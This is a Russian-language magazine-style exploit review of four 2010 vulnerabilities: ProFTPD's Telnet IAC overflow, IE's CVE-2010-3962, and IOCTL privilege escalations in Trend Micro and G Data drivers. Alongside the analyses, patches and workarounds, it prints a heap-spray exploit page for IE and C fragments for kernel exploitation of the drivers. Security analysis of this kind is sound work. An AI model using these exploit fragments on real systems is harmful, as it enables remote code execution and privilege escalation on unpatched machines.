Обзор Эксплоитов

Удалённое выполнение кода в Proftpd

Ноябрь выдался хорошим месяцем по удалённым эксплоитам для очень популярного FTP сервера Proftpd. Что примечательно, одна узявимость была продана анонимным исследователем компании ZDI(Zero Day Initiative), и была исправлена в течении 40 дней. Однако, из просмотра коммитов, становится ясно, что уязвимость жила целых 2 года!

Вторая же уязвимость была опубликована в свежем 67-м выпуске легендарного e-zine'a phrack. Обнаруженные уязвимости позволяют удаленному пользователю обойти некоторые ограничения безопасности и скомпрометировать целевую систему.

Targets

Proftpd version < 1.3.3c released

Ссылки на багтрек

Brief

Первая уязвимость существует из-за логической ошибки в функции pr_netio_telnet_gets() в файле src/netio.c при обработке пользовательских данных, содержащих Telnet IAC (Interpret As Command) escape-последовательность. Используя баг, хакер может с помощью специально сформированных данных, отправленных FTP или FTPS службе, вызвать переполнение стека и выполнить произвольный код в системе. Еще одна брешь существует из-за ошибки проверки входных данных в модуле mod_site_misc. Злоумышленник может создать и удалить директории, символические ссылки или изменить файлы за пределами доступной на запись директории. Для успешной эксплуатации бага приложение должно быть скомпилировано с поддержкой модуля mod_site_misc и атакующий должен иметь привилегии на запись в директорию.

Exploit

Рассмотрим подробно одну из найденных уязвимостей. Пойдем в функцию pr_netio_telnet_gets(), которая находится в src/netio.c:

char *pr_netio_telnet_gets(char *buf, size_t buflen,
pr_netio_stream_t *in_nstrm, pr_netio_stream_t *out_nstrm) {
char *bp = buf;
unsigned char cp;
int toread, handle_iac = TRUE, saw_newline = FALSE;
pr_buffer_t *pbuf = NULL;

if (buflen == 0) {
errno = EINVAL;
return NULL;
}
...
buflen--;

if (in_nstrm->strm_buf)
pbuf = in_nstrm->strm_buf;
else
pbuf = netio_buffer_alloc(in_nstrm);

while (buflen) {
...
while (buflen && toread > 0 && *pbuf->current != '\n' && toread--) {
cp = *pbuf->current++;
pbuf->remaining++;

...
default:
*bp++ = TELNET_IAC;
buflen--;<----- декремент длины
telnet_mode = 0;
break;
}
...
*bp++ = cp;
buflen--;<----- второй декремент во внешнем цикле
}
...
properly_terminated_prev_command = TRUE;
*bp = '\0';
return buf;
}

Обрати внимание на то, что все будет хорошо если "buflen" не достигнет нуля. Как видишь, на каждой успешной итерации "buflen" уменьшается, но если нам удастся в "TELNET_IAC" buflen установить в '1',то она будет декрементирована дважды! Это сделает "buflen" огромным положительным число, что вызовет копирование байт до тех пор, пока он не выйдет из строя или не будет достигнуто некоторого условия, что прервет цикл.

Классический пример interger overflow который приводит к buffer overflow.

Посмотри ссылку на очень красивый эксплойт от Kingcope: exploit-db.com/exploits/15449. Данный сплойт поддерживает много ОС: FreeBSD, Linux:Debuan,SUSE,CentOS. В Debian Squeeze эксплойт немного использует ROP для передачи выполняемых данных в pool buffer (cmd_rec "res" в "pr_cmd_read"), в Ubuntu использует ROP по полной программе: для отображения в память RWX памяти, копирования не больших stub туда и их выполнение.

Кстати, многие дистрибутивы Linux были скомпилированы с защитой (stack smashing protection) от атак. Хоть эта защита снижает вероятность проведения атаки, но не блокирует ее полностью! Сookie в Ubuntu имеет 24-бит энтропии, это снижает эффективность и делает невозможным 100% эксплуатацию уязвимости.

Solution

В новой версии proftpd-1.3.3c было выпущено исправление, а именно, добавлена проверка нулевого значения переменной "buflen", что сделало приложение неэксплуатабельным :).

src/netio.c
.........
+/* In the situation where the previous byte was an IAC, we wrote IAC into the output buffer, and decremented buflen (size of the output buffer remaining). Thus we + need to check here if buflen is zero, before trying to decrement buflen again (and possibly underflowing the buflen size_t data type).
+ */
+ if (buflen == 0) {
+ break;
+ }

*bp++ = cp;
buflen--;
.........

Выполнение произвольного кода в Internet Explorer (CVE-2010-3962)

Targets

Internet Explorer 6/7/8

Brief

Факт эксплуатации данной уязвимости обнаружили исследователи из Websense Security Labs. Уязвимость связана, с тем, что IE выделяет недостаточное количество памяти для хранения определенных комбинаций CSS-тегов.
Рассмотрим PoC-код, который первым появился в паблике:

<html>
<table style=position:absolute;clip:rect(0)>
</html>

Дизасм-листинг этого кода:

mshtml!CLayout::EnsureDispNodeBackground+0x81:
7dcb1c2d 33f6 xor esi,esi
7dcb1c2f 46 inc esi
7dcb1c30 56 push esi
7dcb1c31 8bcf mov ecx,edi
7dcb1c33 e813e2ffff call mshtml!CDispNode::SetBackground (7dcafe4b)
7dcb1c38 8b07 mov eax,dword ptr [edi] ;<-- испорченный указатель
7dcb1c3a 8bcf mov ecx,edi
7dcb1c3c ff5030 call dword ptr [eax+30h] ; <--- а вот здесь и происходит вызов и улёт в исключение

Как видно из данного кода, берётся таблица виртуальных методов из object[0], а далее по смещению 0x30 находится указатель функции.

Немного покопавшись, становится понятно, почему память оказывается испорченной - обнаружилось, что в функции SetUserClip происходит порча указателя.

mshtml!CDispNode::SetUserClip+0x84:
7dd8b5d0 e8b4ddffff call mshtml!CRect::RestrictRange (7dd89389)
7dd8b5d5 8b4704 mov eax,dword ptr [edi+4]
7dd8b5d8 23c6 and eax,esi
7dd8b5da 0fb688101cc37d movzx ecx,byte ptr mshtml!CDispNode::_extraSizeTable (7dc31c10)[eax]
7dd8b5e1 8bc7 mov eax,edi
7dd8b5e3 c1e102 shl ecx,2
7dd8b5e6 2bc1 sub eax,ecx
7dd8b5e8 830801 or dword ptr [eax],1 ;<-- в eax содержится адрес таблицы виртуальных ф-ий

Спустя несколько дней в паблике появился эксплоит, использующий простейший heap-spray, естественно не обходящий DEP/ASLR. Вот его код:

<html>
<head><title>poc CVE-2010-3962 zeroday</title>
<script>
function alloc(bytes, mystr) {
var shellcode = unescape('Тут много зашифрованного мусора :) ');
while (mystr.length< bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2) + shellcode;
}
</script>
</head>
<body>
<script>
alert('ph33r: click me');
var evil = new Array();
var FAKEOBJ = unescape("%u0d0d%u0d0d");

FAKEOBJ = alloc(1294464, FAKEOBJ);

for (var k = 0; k < 1000; k++) {
evil[k] = FAKEOBJ.substr(0, FAKEOBJ.length);
}
document.write("<table style=position:absolute;clip:rect(0)>");
</script>

</body>
</html>

С полным эксплойтом ты можешь ознакомиться на exploit-db.com/exploits/15376.

Solution

К настоящему времени никакого патча не выпущено, но зато есть утешительный Workaround от MS.

1. Создай файл стилей KB2458511.CSS:

TABLE
{
POSI\TION: relative ;
}

2. Создай резервную копию ветки реестра:

regedit /e CSS-backup.reg "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Styles"

3. А также файл Apply_user_CSS.reg со следующим содержимым:

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Styles]
"User Stylesheet"="C:\\[directory location]\\KB2458511.css"
"Use My Stylesheet"=dword:00000001

Где, [directory location] – путь к ранее созданному файлу KB2458511.CSS

4. Выполни этот файл! Теперь ты неуязвим :).

Повышение привилегий в продуктах Trend Micro

Targets

  • Titanium Maximum Security
  • Titanium Internet Security

Brief

Интересная уязвимость была обнаружена в ходе исследования драйверов антивирусных продуктов. Суть ее сводится к тому, что вызывая функцию DeviceIoControl c IoctlCode равным 0x220404, атакующий перезаписывает значение, которое является указателем на некую функцию. Последняя необходима для обработки входящих/исходящих пакетов.

Для более детального объяснения бага, рассмотрим Ioctl-обработчик \\.\tmtdi устройства:

.text:0001DB7B loc_1DB7B: ; CODE XREF: sub_1D3CC+75Fj
.text:0001DB7B test dword_2289C, 10000000h
.text:0001DB85 mov edi, [ebx+0Ch] ; edi - указатель на входной буфер
.text:0001DB88 jz short loc_1DB95
.text:0001DB8A push offset aIoctrl_bind_cf ; "[IOCTRL_BIND_CFW]\n"
.text:0001DB8F call DbgPrint
.text:0001DB94 pop ecx
.text:0001DB95 push edi ; VirtualAddress
.text:0001DB96 call esi ; MmIsAddressValid - проверка на валидный адрес
.text:0001DB98 test al, al
.text:0001DB9A jz loc_1DD19
.text:0001DBA0 cmp [ebp+DeviceObject], 8 ; проверка на длину входного буфера
.text:0001DBA4 jb loc_1DD19
.text:0001DBAA mov eax, [edi] ; eax - содержит первые 4 байта из нашего буфера
.text:0001DBAC mov dword_228B4, eax ; запись в глобальную переменную

При анализе x-refs(ссылок) на dword_228B4 становится понятно, что при вызове стандартной функции winsock bind, управление приходит на эту функцию, что ведёт к исполнению инструкции jmp ecx,
и соответственно прямому прыжку на шеллкод атакующего!

.text:00010CD4 sub_10CD4 proc near ; CODE XREF: sub_19234+480p
.text:00010CD4 ; sub_197FC+1D5p ...
.text:00010CD4 mov edi, edi
.text:00010CD6 push ebp
.text:00010CD7 mov ebp, esp
.text:00010CD9 mov ecx, dword_228B4; запись в ecx
.text:00010CDF xor eax, eax
.text:00010CE1 test ecx, ecx
.text:00010CE3 jz short loc_10CE8 ; проверка на NULL
.text:00010CE5 pop ebp
.text:00010CE6 jmp ecx ; прямой прыжок!!!
.text:00010CE8 ; ---------------------------------------------------------------------------
.text:00010CE8
.text:00010CE8 loc_10CE8: ; CODE XREF: sub_10CD4+Fj
.text:00010CE8 pop ebp
.text:00010CE9 retn 4
.text:00010CE9 sub_10CD4 endp

Exploit

Для эксплуатации уязвимости достаточно вызвать функцию DeviceIoControl, а затем bind:

in = 0x10, out = 0x0C;
*inbuff = ring0_shellcode_address;
DeviceIoControl(hDevice, ioctl, (LPVOID)inbuff, in, (LPVOID)inbuff, out, &len, NULL);
bind( ListenSocket, (SOCKADDR*) &service, sizeof(service); //прыгаем на шеллкод!

Но не стоит забывать, что изменив значение dword_228B4 на адрес своего ядерного шеллкода, при прохождение нового пакета на сетевой интерфейс, также будет вызвана функция sub_10CD4, что приведёт к синему экрану смерти, так как обращение к нашему шеллкоду (который, кстати, лежит в пользовательском АП) немедленно приведёт к исключению PageFault.

Чтобы этого избежать, надо установить значение dword_228B4 в NULL, тем самым избежать выполнения инструкции jmp ecx (смотри код).

DWORD WINAPI ResetPointer( LPVOID lpParam )
{
HANDLE hDevice;
DWORD *inbuff;
DWORD ioctl = 0x220404, in = 0x10, out = 0x0C, len;

DWORD interval = 500;//чем меньше тем лучше!
Sleep(interval);
inbuff = (DWORD *)malloc(0x1000);
if(!inbuff){
printf("malloc failed!\n");
return 0;
}

*inbuff = 0;
hDevice = (HANDLE)lpParam;
DeviceIoControl(hDevice, ioctl, (LPVOID)inbuff, in, (LPVOID)inbuff, out, &len, NULL);
free(inbuff);

return 0;
}

Solution

Ждём патча от Trend Micro, или ставим другой антивирь :).

Множественные уязвимости в продуктах G Data

Targets

G Data TotalCare 2011

Brief

У этого продукта сразу несколько проблем:

  1. Race Condition в перехвате Native API функций
  2. Ошибки в Ioctl обработчике

Рассмотрим подробнее уязвимость в Ioctl обработчике девайса MiniIcptControlDevice0.
Эта брешь примечательна тем, что является ярким примером того, что не стоит слепо передавать непроверенные указатели в функции ядра.

Рассмотрим код обработки Ioctl 0x83170180:

.text:00010DBC cmp edx, 83170180h <----- сравнение с заветным значением
.text:00010DC2 jz loc_10EAD

[..]

.text:00010EC0 push eax ; <------ eax содержит первые 4 байта входного буфера
.text:00010EC1 call FltReleaseContext ;

При поиске информации о данной функции в WDK, особо многого не проясняется.

Как видно, функция принимает один единственный аргумент - указатель на некий контекст, и выполняет декремент ссылок на этот контекст.

Поиск структуры FLT_CONTEXT в документации ничего не дал.
Что же, после этого я решил поискать в отладочных символах и даже в исходниках винды. Но к сожалению, я не нашёл никакой информации об этой структуре. Штудирование документации особо не помогло, стоит подключить свои любимые средства: протрассировав Step'ами в Windbg, становится понятно цепочку вызовов которая приведёт к прямому вызову по контролируемому адресу в функции DoFreeContext:

FltReleaseContext ----> DoReleaseContext ----> DoFreeContext

.text:00011F04 ; int __stdcall DoFreeContext(PVOID Entry)
.text:00011F04 _DoFreeContext@4 proc near ; CODE XREF: DoReleaseContext(x)+20p
.text:00011F04 ; DATA XREF: DoReleaseContext(x)+30o
.text:00011F04
.text:00011F04 Entry = dword ptr 8
.text:00011F04
.text:00011F04 mov edi, edi
.text:00011F06 push ebp
.text:00011F07 mov ebp, esp
.text:00011F09 push esi
.text:00011F0A push edi
.text:00011F0B mov edi, [ebp+Entry]
.text:00011F0E mov esi, [edi] <----- edi под нашем контролем
.text:00011F10 mov eax, [esi+4]
.text:00011F13 test eax, eax <----- проверка на NULL
.text:00011F15 jz short loc_11F24
.text:00011F17 xor ecx, ecx
.text:00011F19 mov cx, [esi+0Ch]
.text:00011F1D push ecx
.text:00011F1E lea ecx, [edi+28h]
.text:00011F21 push ecx
.text:00011F22 call eax ; <----- вызов по контролируемому адресу

Однако, чтобы добраться до DoFreeContext, надо сформировать фейковую недокументированную структуру FLT_CONTEXT таким образом,
чтобы значение количества ссылок на данный контекст стало равным нулю:

.text:00012066 ; int __stdcall DoReleaseContext(PVOID Entry)
.text:00012066 _DoReleaseContext@4 proc near ; CODE XREF: FltReleaseContexts(x)+1Cp
.text:00012066 ; FltReleaseContext(x)+Cp ...
.text:00012066
.text:00012066 Entry = dword ptr 8
.text:00012066
.text:00012066 mov edi, edi
.text:00012068 push ebp
.text:00012069 mov ebp, esp
.text:0001206B push esi
.text:0001206C mov esi, [ebp+Entry]
.text:0001206F lea eax, [esi+24h]
.text:00012072 or ecx, 0FFFFFFFFh <---- ecx = -1
.text:00012075 lock xadd [eax], ecx ; <----- декремент количества ссылок
.text:00012079 jnz short loc_120A6
.text:0001207B call ds:__imp__KeGetCurrentIrql@0 ; KeGetCurrentIrql()
.text:00012081 cmp al, 2
.text:00012083 jnb short loc_1208D
.text:00012085 push esi ; <---- esi под нашем контролем
.text:00012086 call _DoFreeContext@4 ; DoFreeContext(x)

Exploit

Главное в эксплуатации данной уязвимости правильно сформировать фейковую структуру FLT_CONTEXT, скопировать указатель на неё в первые 4 байта входного буфера и вызвать DeviceIoControl:

void craft_fake_flt_context(char* buff, LPVOID shellcode_addr)
{
DWORD references = 1;
DWORD *Entry;
Entry = (DWORD*)malloc(0x8);
Entry[0] = Entry;//Entry[0] == esi
Entry[1] = shellcode_addr;//[esi+4] - r0 shellcode
memcpy(buff-0x4, &references, 0x4);
memcpy(buff-0x28, Entry, 0x4);
}
craft_fake_flt_context(inbuffer, zpage);
buff[0] = inbuffer;
DeviceIoControl(hDevice, ioctl, buff, in, buff, out, &len, NULL);

Solution

Исправлений к настоящему времени не выпущено. Так что, перебираемся на другой продукт.